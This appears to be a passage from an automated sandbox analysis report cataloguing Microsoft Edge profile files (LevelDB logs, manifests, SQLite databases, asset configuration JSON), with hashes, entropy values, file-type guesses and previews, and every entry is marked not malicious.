SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.223760317529616
Encrypted:	false
SSDEEP:	6:H0VeIb1CHhJ23oH+Tcwtp3hBtB2KLlV0VeUFo4q2PCHhJ23oH+Tcwtp3hBWsIFUv:unYebp3dFL+XvBYebp3eFUv
MD5:	56CD5184D2BFE0E3D861CA25F2F8A2B3
SHA1:	30CDA046698280C4E72869A15CB86C3E661FB6EA
SHA-256:	1793208573D827DD74EBFB3EF2646AF68A1AF8CD01DCA2F8634ADAD174F0A7E8
SHA-512:	C93A431D6CAEDBDD1A557AD4BAA7C084DBFA76ABB400CD7B67DD3C1A9F1EF41C1193BE840D5D34A9576E4B812979264EEF079615A3312E29AB1BBAF8EF226C75
Malicious:	false
Preview:	2024/11/08-09:21:05.253 1f00 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/08-09:21:05.290 1f00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1764710
Entropy (8bit):	5.138123962577488
Encrypted:	false
SSDEEP:	24576:hKPVfKfgXaHbMhFQlmADAbpENUdifYOBHbc2r:hKNfqJmcx
MD5:	43CF45FAA5867E5A0BBE8A9C39E20311
SHA1:	F5A7519BF666243CFB7D2BE8CB21A5871A31664F
SHA-256:	5B4F279DF4A486F108F9408BF760B99B2B609DD52254B69DAE06BD60A48A93E5
SHA-512:	1629FAB24036D82C855EDE1DB456FECD674656E8ADAB237473EC6BA65D506BBCF7978C06FB1AB0E61A44272BEB6A38052E6754C2811422E51AEA75BB9AFC14FE
Malicious:	false
Preview:	...m.................DB_VERSION.1.Go..................QUERY_TIMESTAMP:arbitration_priority_list4...13340967444415546.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.122529659840547
Encrypted:	false
SSDEEP:	6:H0VB99+q2PCHhJ23oH+Tcwt9Eh1tIFUt8Y0Ve/vD3JZmw+Y0Veu9VkwOCHhJ23of:o9+vBYeb9Eh16FUt8KD3J/+79V56YebY
MD5:	864DE9E7FDCC8120DEA4C056F7E971DF
SHA1:	6A95BC5158A9B482EBD72E140DAB7BEA7CEA5A3B
SHA-256:	B116F45E035C92E8E178EB7C2D4ED9E5CD969516B0DEE7D4289C3499B8247F96
SHA-512:	CAA917407B1D165D48A2A3740739100A7AA788B699771656884C7681546F03C81727E46D8C43070B574375EC2F41E9770A1CE3D50E17D0C987393E5639AEB06B
Malicious:	false
Preview:	2024/11/08-09:21:04.998 209c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/08-09:21:05.000 209c Recovering log #3.2024/11/08-09:21:05.146 209c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.122529659840547
Encrypted:	false
SSDEEP:	6:H0VB99+q2PCHhJ23oH+Tcwt9Eh1tIFUt8Y0Ve/vD3JZmw+Y0Veu9VkwOCHhJ23of:o9+vBYeb9Eh16FUt8KD3J/+79V56YebY
MD5:	864DE9E7FDCC8120DEA4C056F7E971DF
SHA1:	6A95BC5158A9B482EBD72E140DAB7BEA7CEA5A3B
SHA-256:	B116F45E035C92E8E178EB7C2D4ED9E5CD969516B0DEE7D4289C3499B8247F96
SHA-512:	CAA917407B1D165D48A2A3740739100A7AA788B699771656884C7681546F03C81727E46D8C43070B574375EC2F41E9770A1CE3D50E17D0C987393E5639AEB06B
Malicious:	false
Preview:	2024/11/08-09:21:04.998 209c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/08-09:21:05.000 209c Recovering log #3.2024/11/08-09:21:05.146 209c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4633688868923195
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuVpF:TouQq3qh7z3bY2LNW9WMcUvBuF
MD5:	58064D6300AC06688C14BB4C27FF1B4D
SHA1:	B9AA7D7F3948330887CDEBE768AB741EE067FB7D
SHA-256:	9BF1AFCCC35A7C7E69D2A80877B03CD27347BB4B645A4D8CEF4F23A233BEFAC8
SHA-512:	A8B6002FD327A9340920C618641E889C7FBD8BC4675E8124C8618DAD1D14B4D0AD029AEDD130E5599B27F187E4EFF8A9C76155B58F931E74D42D2AD615722196
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.2148154942858
Encrypted:	false
SSDEEP:	6:HRSN+q2PCHhJ23oH+TcwtnG2tMsIFUt8YRncZmw+YRncVkwOCHhJ23oH+TcwtnGg:xSN+vBYebn9GFUt8ec/+ecV56Yebn95J
MD5:	067813912D6BFFB736D032B60A7CB744
SHA1:	F6A8490317E3B870622FA1BD985213836AE8F4D1
SHA-256:	813015AF572A9D85C7CA8544DF4DD13F052F0252738E1D90C887090BE3CFC3A9
SHA-512:	A087E12602CF0CCD9490BBDD68AFD57BE22B51E98DD2E0F5C86EDC6753BE52C686CE349F26A4F937FE9B1D3B80A1C3D4D21191E1802BF13C251D8C0630D30A40
Malicious:	false
Preview:	2024/11/08-09:20:59.052 1fdc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/08-09:20:59.054 1fdc Recovering log #3.2024/11/08-09:20:59.054 1fdc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.2148154942858
Encrypted:	false
SSDEEP:	6:HRSN+q2PCHhJ23oH+TcwtnG2tMsIFUt8YRncZmw+YRncVkwOCHhJ23oH+TcwtnGg:xSN+vBYebn9GFUt8ec/+ecV56Yebn95J
MD5:	067813912D6BFFB736D032B60A7CB744
SHA1:	F6A8490317E3B870622FA1BD985213836AE8F4D1
SHA-256:	813015AF572A9D85C7CA8544DF4DD13F052F0252738E1D90C887090BE3CFC3A9
SHA-512:	A087E12602CF0CCD9490BBDD68AFD57BE22B51E98DD2E0F5C86EDC6753BE52C686CE349F26A4F937FE9B1D3B80A1C3D4D21191E1802BF13C251D8C0630D30A40
Malicious:	false
Preview:	2024/11/08-09:20:59.052 1fdc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/08-09:20:59.054 1fdc Recovering log #3.2024/11/08-09:20:59.054 1fdc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6147354103958917
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWOjMAq+XiZn:TLapR+DDNzWjJ0npnyXKUO8+jhjpTmL
MD5:	87EA5457BBE0F740F7BA687077E6FE1B
SHA1:	BF4E81400C60A28CB32ECAEB56B29287EBCE7094
SHA-256:	02DAE3C0FC6972E62497AFCBC4A8E3EB8AC89C24477629354A7C8DB2D8BAD618
SHA-512:	9B006F491A50CF3404EFAAB200C10817E0D0E705B803FDCE6AA902AF259FA5D3DAA65C3F270025B4558B22C2C9F282F61125B44EE5A51C5B2017F6545EA35B88
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.3541397504292325
Encrypted:	false
SSDEEP:	6144:2A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:2FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	937D715D5A593895EE3AE889131B81DF
SHA1:	C71F5657F0F4A0850CE3E280E5BE426F8A45354D
SHA-256:	ECA3586AEDD1464914AF3E8A2D2EA0F9CB44C17A8075567E09BFA6C88D82EA1F
SHA-512:	9F088B64084440AD8F8C242F4D1E070EB293045B3D609156B54F1228E75494E6FDC148F381906163C2939558F2612D83CC0CE70C490307BE4E9062A92598FCF6
Malicious:	false
Preview:	...m.................DB_VERSION.1./..q...............&QUERY_TIMESTAMP:domains_config_gz2...13375549267779571..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.177663813911268
Encrypted:	false
SSDEEP:	6:H0VeC1CHhJ23oH+Tcwtk2WwnvB2KLlV0VeBHEeQ+q2PCHhJ23oH+Tcwtk2WwnvIg:MYebkxwnvFLzU+vBYebkxwnQFUv
MD5:	BB3DEF431C71029A0328684D0435B6B0
SHA1:	E8640D787809A9B514B322A0D19ADB2D208B2579
SHA-256:	3A507BFDDAA55BE47E04C9B4939CA1BF5EAD0311A4A71FFDE90A3B5B075D3CE0
SHA-512:	0FC60FF153619BFF8B71B261482E8A94FBB895D6A39F5D8409ED0F52C805CE16A49796FA5BBDA6709B5FEEF14A7F4893204BB787934EC07F9D4BB215C6D584EB
Malicious:	false
Preview:	2024/11/08-09:21:05.161 215c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/08-09:21:05.248 215c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324618830410458
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R1:C1gAg1zfv9
MD5:	B2C24A83FA9CFF4436700E752B59DEB7
SHA1:	EBBCBB8A77C153ECFCB5653E2C7048B1A98FBA63
SHA-256:	024BB821BAFE99AE47F4494220482A17E82A1E64B5FF897C851830E129E2B9A9
SHA-512:	A77A3D0E69060334B645994864D8832F53F8495763181ECF5C1DFD0C3442C1A482249E663A4921B4F0FD9A429B83973A96CFBA102E2E8DE0C342C9446F8C9C2E
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.20612249489106
Encrypted:	false
SSDEEP:	6:HR+/i+q2PCHhJ23oH+Tcwt8aPrqIFUt8YR+/XWZmw+YRNYQiVkwOCHhJ23oH+TcD:xei+vBYebL3FUt8eeXW/+eWQiV56Yebc
MD5:	D4F0E8AF42E40B21AF60019C887A66CB
SHA1:	6F6CA440B3F283482E40BD60E5840867A97C54C6
SHA-256:	22ED5F2E6F9F50F1AADB90B70C4FBF2417A763FAF6F9A075797AB826920A0522
SHA-512:	3999D25A1AAF4923BB7442BC6A6289E599BCA4E27002C74C566C517104122422155BE5E37B83E8AC23B036F730732C6E9EA058EA5ED067DFA3976CC887FCB537
Malicious:	false
Preview:	2024/11/08-09:20:59.124 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/08-09:20:59.124 1d5c Recovering log #3.2024/11/08-09:20:59.125 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.20612249489106
Encrypted:	false
SSDEEP:	6:HR+/i+q2PCHhJ23oH+Tcwt8aPrqIFUt8YR+/XWZmw+YRNYQiVkwOCHhJ23oH+TcD:xei+vBYebL3FUt8eeXW/+eWQiV56Yebc
MD5:	D4F0E8AF42E40B21AF60019C887A66CB
SHA1:	6F6CA440B3F283482E40BD60E5840867A97C54C6
SHA-256:	22ED5F2E6F9F50F1AADB90B70C4FBF2417A763FAF6F9A075797AB826920A0522
SHA-512:	3999D25A1AAF4923BB7442BC6A6289E599BCA4E27002C74C566C517104122422155BE5E37B83E8AC23B036F730732C6E9EA058EA5ED067DFA3976CC887FCB537
Malicious:	false
Preview:	2024/11/08-09:20:59.124 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/08-09:20:59.124 1d5c Recovering log #3.2024/11/08-09:20:59.125 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.241521066012984
Encrypted:	false
SSDEEP:	6:HRI3+q2PCHhJ23oH+Tcwt865IFUt8YRz0WZmw+YRKux3VkwOCHhJ23oH+Tcwt86L:xI3+vBYeb/WFUt8ewW/+eLx3V56Yeb/L
MD5:	04DD8A703AF96C4463744D2B14EAEDD9
SHA1:	959D231C95E92421ABDFFF6C41ACB1C3A5775E88
SHA-256:	925417FE6B5CC750956D6F761E055E5BA986F796137A8BDFFEA4E4CFC68E041A
SHA-512:	62C53AB4D1B4DF542135F886819DBB3A3A9A7860AD12FF6D8E049C146BD73105F86356A211A99FB0852C61874ACAFB54C59FC45C41C82DFD71D021E9E9E72E9D
Malicious:	false
Preview:	2024/11/08-09:20:59.152 1d5c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/08-09:20:59.157 1d5c Recovering log #3.2024/11/08-09:20:59.164 1d5c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.241521066012984
Encrypted:	false
SSDEEP:	6:HRI3+q2PCHhJ23oH+Tcwt865IFUt8YRz0WZmw+YRKux3VkwOCHhJ23oH+Tcwt86L:xI3+vBYeb/WFUt8ewW/+eLx3V56Yeb/L
MD5:	04DD8A703AF96C4463744D2B14EAEDD9
SHA1:	959D231C95E92421ABDFFF6C41ACB1C3A5775E88
SHA-256:	925417FE6B5CC750956D6F761E055E5BA986F796137A8BDFFEA4E4CFC68E041A
SHA-512:	62C53AB4D1B4DF542135F886819DBB3A3A9A7860AD12FF6D8E049C146BD73105F86356A211A99FB0852C61874ACAFB54C59FC45C41C82DFD71D021E9E9E72E9D
Malicious:	false
